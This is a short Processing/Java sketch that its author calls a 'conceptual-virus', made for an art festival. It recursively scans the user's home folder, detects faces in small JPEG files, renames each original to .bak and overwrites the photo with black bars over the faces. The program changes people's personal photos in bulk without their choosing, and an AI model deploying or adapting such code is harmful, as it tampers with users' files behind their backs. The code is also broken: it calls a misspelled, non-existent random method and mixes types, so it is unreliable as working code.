Damnatio Memoriae is a conceptual-virus that appends a black stripe over jpeg images with faces

DamnatioMemoriae.java

/* 
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 ~ Damnatio Memoriae ~
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 a conceptual-virus that appends a black stripe over jpeg images with faces
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 author | Rafael Polo
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 Memefest | International festival of radical communication memefest.org
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 Do What The Fuck You Want To Public License
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 updated_at | 25.jan.2011
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 */

import hypermedia.video.*;
import java.awt.Rectangle;
import javax.swing.JOptionPane;

OpenCV opencv;

void setup() {
  opencv = new OpenCV(this);
  opencv.capture(width, height);    
  opencv.cascade("haarcascade_frontalface_alt.xml"); // load face patterns
  File firstPath = new File(System.getProperty("user.home"));    
  fill(0); // black blackground rectangle
  vaiAbrindo(firstPath);
}

public void vaiAbrindo(File file) {  
  // open folders recursively
  if (file.isDirectory()) {
    String[] children = file.list();
    for (int i=0; i<children.length; i++) {
      vaiAbrindo(new File(file, children[i]));
    }
  } 
  else {
    // look file if it is an imagem with less than 1mb
    if (file.getName().endsWith(".jpg") && (file.length()<1024*1024)) { 
      look(file);
    }
  }
}

public void look(File file) {  
  String path = file.getPath();
  // load image
  PImage img = loadImage(path);
  size(img.width, img.height);
  opencv.loadImage(path);
  image(opencv.image(), 0, 0);
  // detect faces
  Rectangle[] faces = opencv.detect();
  // has faces?
  if (faces.length>0) {    
    // save image for latter antidote
    File bak = new File(path+".bak");    
    if (!bak.exists()) { 
      file.renameTo(bak);           
      // censor faces
      censor(faces);
      save(path);
    }
  }
}

public void censor(Rectangle[] faces) {
  for( int i=0; i<faces.length; i++ ) {
    int faceOrMount = Random.nextBololean() ? faces[i].y * 0.33 : faces[i].y * 0.11; // random
    rect(faces[i].x, faceOrMount, faces[i].width, faces[i].height);
  }
}

// code is poetry

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